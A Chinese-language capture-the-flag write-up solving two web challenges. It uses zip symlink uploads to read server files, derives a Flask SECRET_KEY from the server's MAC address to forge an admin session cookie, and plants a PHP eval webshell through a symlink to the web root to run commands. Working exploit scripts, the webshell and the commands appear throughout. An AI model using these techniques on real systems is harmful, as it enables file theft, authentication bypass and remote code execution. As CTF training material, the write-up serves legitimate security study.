[HCTF 2018] Hide and seek(buuctf),Unzip(ctfshow)

考核完对python软连接还是不熟悉,把这两道题在做一下

[HCTF 2018]Hideandseek

登录注册之后发现可以上传文件,随便上传一个

回显说不是zip文件

上传一个zip文件,发现他会自动解析

上传了一个

GIF89a

<?php @eval($_POST['zxc']); ?>

应该是python软链接,尝试一下

把/etc/passwd创建一个软连接然后进行压缩 移动到windows进行连接

发现成功被解析

创建读取flag的软连接

发现没有回显,那应该是有其他的限制

在存储里找到了session值,怀疑进行了加密

破解一下 session_flask解密脚本

import sys

import zlib

from base64 import b64decode

from flask.sessions import session_json_serializer

from itsdangerous import base64_decode

def decryption(payload):

payload, sig = payload.rsplit(b'.', 1)

payload, timestamp = payload.rsplit(b'.', 1)

decompress = False

if payload.startswith(b'.'):

payload = payload[1:]

decompress = True

try:

payload = base64_decode(payload)

except Exception as e:

raise Exception('Could not base64 decode the payload because of '

'an exception')

if decompress:

try:

payload = zlib.decompress(payload)

except Exception as e:

raise Exception('Could not zlib decompress the payload before '

'decoding the payload')

return session_json_serializer.loads(payload)

if name == 'main':

print(decryption(sys.argv[1].encode()))

发现就是我登录的用户名

那用admin登陆一下试试

页面回显是这样的,说我不是admin,那核心思路就是伪造session加密,admin登录

已知的要session加密,python软连接 session伪造还需要Flask的SECRET_KEY

我们的关键就是找这个key

具体的可以参考我上篇wp

期中考核复现(web)-CSDN博客

可以通过读取/proc/self/environ文件,以获取当前进程的环境变量列表

通过它可以知道这道题的内核是什么

发现了东西

接着读取

也就是uwsgi服务器的配置文件,其中可能包含有源码路径

读取出来的源码,他的源码路径并不是这个

原题main.py /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

利用脚本读一下源码

脚本

import os

import requests

import sys

def make_zip():

os.system('ln -s ' + sys.argv[2] + ' test_exp')

os.system('zip -y test_exp.zip test_exp')

def run():

make_zip()

res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})

print(res.text)

os.system('rm -rf test_exp')

os.system('rm -rf test_exp.zip')

if name == 'main':

run()

python3 1z_python_exp.py http://75ec8792-b1c0-4924-9e5e-3891286d3c07.node4.buuoj.cn:81/upload /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

-*- coding: utf-8 -*-

from flask import Flask,session,render_template,redirect, url_for, escape, request,Response

import uuid

import base64

import random

import flag

from werkzeug.utils import secure_filename

import os
random.seed(uuid.getnode())

app = Flask(name)
app.config['SECRET_KEY'] = str(random.random()*100)

app.config['UPLOAD_FOLDER'] = './uploads'

app.config['MAX_CONTENT_LENGTH'] = 100 * 1024

ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):

return '.' in filename and \

filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/', methods=['GET'])

def index():

error = request.args.get('error', '')

if(error == '1'):

session.pop('username', None)

return render_template('index.html', forbidden=1)

if 'username' in session:

return render_template('index.html', user=session['username'], flag=flag.flag)

else:

return render_template('index.html')

@app.route('/login', methods=['POST'])

def login():

username=request.form['username']

password=request.form['password']

if request.method == 'POST' and username != '' and password != '':

if(username == 'admin'):

return redirect(url_for('index',error=1))

session['username'] = username

return redirect(url_for('index'))

@app.route('/logout', methods=['GET'])

def logout():

session.pop('username', None)

return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])

def upload_file():

if 'the_file' not in request.files:

return redirect(url_for('index'))

file = request.files['the_file']

if file.filename == '':

return redirect(url_for('index'))

if file and allowed_file(file.filename):

filename = secure_filename(file.filename)

file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)

if(os.path.exists(file_save_path)):

return 'This file already exists'

file.save(file_save_path)

else:

return 'This file is not a zipfile'

try:

extract_path = file_save_path + '_'

os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)

read_obj = os.popen('cat ' + extract_path + '/*')

file = read_obj.read()

read_obj.close()

os.system('rm -rf ' + extract_path)

except Exception as e:

file = None

os.remove(file_save_path)

if(file != None):

if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):

return redirect(url_for('index', error=1))

return Response(file)

if name == 'main':

#app.run(debug=True)

app.run(host='0.0.0.0', debug=True, port=10008)

通过源码可以看出来他的key值是伪随机数加密

app.config['SECRET_KEY'] = str(random.random()*100)

也给了我们破解的方法

random.seed(uuid.getnode())

Python之random.seed()用法 - 简书

uuid.getnode()方法以48正整数 形式获取硬件地址,也就是服务器的MAC地址

若获取了服务器的MAC 地址值,那么就可以构造出为伪随机的种子值,想到Linux中一切皆文件 ,查找到MAC地址 存放在/sys/class/net/eth0/address文件中,读取该文件:

读取到他的mac地址是 7a:01:6b:0a:e7:9e

通过Python3将其转换为十进制: 64341392183149

种子值得到 64341392183149,编写Python构造SECRET_KEY的值:83.32926590066324

运行后,得到SECRET_KEY的值为:83.32926590066324,使用flask-session-cookie-manager构造Session:

脚本:

Abstract Base Classes (PEP 3119)

if sys.version_info[0] < 3: # < 3.0

raise Exception('Must be using at least Python 3')

elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4

from abc import ABCMeta, abstractmethod

else: # > 3.4

from abc import ABC, abstractmethod

Lib for argument parsing

import argparse

external Imports

from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

def init(self, secret_key):

self.secret_key = secret_key

if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4

class FSCM(metaclass=ABCMeta):

def encode(secret_key, session_cookie_structure):

""" Encode a Flask session cookie """

try:

app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))

si = SecureCookieSessionInterface()

s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)

except Exception as e:

return "[Encoding error] {}".format(e)

raise e

def decode(session_cookie_value, secret_key=None):

""" Decode a Flask cookie """

try:

if(secret_key==None):

compressed = False

payload = session_cookie_value

if payload.startswith('.'):

compressed = True

payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)

if compressed:

data = zlib.decompress(data)

return data

else:

app = MockApp(secret_key)

si = SecureCookieSessionInterface()

s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)

except Exception as e:

return "[Decoding error] {}".format(e)

raise e

else: # > 3.4

class FSCM(ABC):

def encode(secret_key, session_cookie_structure):

""" Encode a Flask session cookie """

try:

app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))

si = SecureCookieSessionInterface()

s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)

except Exception as e:

return "[Encoding error] {}".format(e)

raise e

def decode(session_cookie_value, secret_key=None):

""" Decode a Flask cookie """

try:

if(secret_key==None):

compressed = False

payload = session_cookie_value

if payload.startswith('.'):

compressed = True

payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)

if compressed:

data = zlib.decompress(data)

return data

else:

app = MockApp(secret_key)

si = SecureCookieSessionInterface()

s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)

except Exception as e:

return "[Decoding error] {}".format(e)

raise e

if name == "main":

Args are only relevant for main usage

Description for help

parser = argparse.ArgumentParser(

description='Flask Session Cookie Decoder/Encoder',

epilog="Author : Wilson Sumanang, Alexandre ZANNI")

prepare sub commands

subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

create the parser for the encode command

parser_encode = subparsers.add_parser('encode', help='encode')

parser_encode.add_argument('-s', '--secret-key', metavar='<string>',

help='Secret key', required=True)

parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',

help='Session cookie structure', required=True)

create the parser for the decode command

parser_decode = subparsers.add_parser('decode', help='decode')

parser_decode.add_argument('-s', '--secret-key', metavar='<string>',

help='Secret key', required=False)

parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',

help='Session cookie value', required=True)

get args

args = parser.parse_args()

find the option chosen

if(args.subcommand == 'encode'):

if(args.secret_key is not None and args.cookie_structure is not None):

print(FSCM.encode(args.secret_key, args.cookie_structure))

elif(args.subcommand == 'decode'):

if(args.secret_key is not None and args.cookie_value is not None):

print(FSCM.decode(args.cookie_value,args.secret_key))

elif(args.cookie_value is not None):

print(FSCM.decode(args.cookie_value))

脚本有解密、加密两种功能,具体用法如下

解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY

加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式

python3 flask_session_cookie_manager3.py encode -s "83.32926590066324" -t "{'username': 'admin'}"

得到session值:

eyJ1c2VybmFtZSI6ImFkbWluIn0.ZTEtCw.AtIit8No9tp7uVS7eXb-UBQ4yUs

修改session值,得到flag

Unzip

还是,直接做软连接

得到源码

分析代码

  1. `error_reporting(0);`:关闭错误报告。这意味着在运行过程中,任何错误或警告都不会显示。

  2. `highlight_file(FILE);`:使用 PHP 内置的 `highlight_file` 函数,对当前文件(`FILE` 是一个魔术常量,表示当前文件的完整路径和文件名)进行语法高亮显示。这通常用于调试或演示代码。

  3. `$finfo = finfo_open(FILEINFO_MIME_TYPE);`:使用 `finfo_open` 函数创建一个新的文件信息资源,用于检查文件的 MIME 类型。`FILEINFO_MIME_TYPE` 是一个预定义常量,表示我们只关心文件的 MIME 类型。

  4. `if (finfo_file($finfo, _FILES\["file"\]\["tmp_name"\]) === 'application/zip'){\`:使用 \`finfo_file\` 函数检查上传文件的 MIME 类型。\`_FILES["file"]["tmp_name"]` 是上传文件在服务器上的临时路径。如果文件的 MIME 类型是 'application/zip'(即 ZIP 文件),则执行括号内的代码。

  5. `exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);`:使用 `exec` 函数执行一个外部命令。这里,我们先切换到服务器上的 `/tmp` 目录,然后使用 `unzip` 命令解压上传的 ZIP 文件。`-o` 选项表示覆盖已存在的同名文件。

大概意思就是题目将我们上传的zip文件放在tmp这个目录下进行解压,因为不在var/www/html目录下解压所以不会产生解压执行文件的安全隐患,但是并没有对上传的压缩文件进行严格的检查这会导致漏洞产生

因为解压的目录更改了,所以要把解压文件所在目录放在var/www/html(因为html目录下是web环境)这样才能在解压shell文件时实现getshell

创建一个指向/var/www/html目录的软链接,因为html目录下是web环境(大部分情况是),为了后续可以getshell

可以看到这是一个链接文件,并且指向/var/www/html

打包到到1.zip,对link文件进行压缩 --symlinks表示压缩软连接

接下来创建木马文件夹

接下来创建的这个目录要上面创建的文件夹名字相同,所以我们这里先将之前创建的文件夹删除再创建

mkdir命令功能:

通过 mkdir 命令可以实现在指定位置创建以 DirName(指定的文件名)命名的文件夹或目录。要创建文件夹或目录的用户必须对所创建的文件夹的父文件夹具有写权限。并且,所创建的文件夹(目录)不能与其父目录(即父文件夹)中的文件名重名,即同一个目录下不能有同名的(区分大小写)。

写入木马并打包,放到link文件夹里面 (加GIF89a的原因是之前直接用一句话木马会报错,连接不上)

打包成2.zip

上传木马,先上传1.zip,让其软连接指向var/www/html

返回 ,上传2.zip,进行rce,得到flag,传参 cmd=system('cat /f*');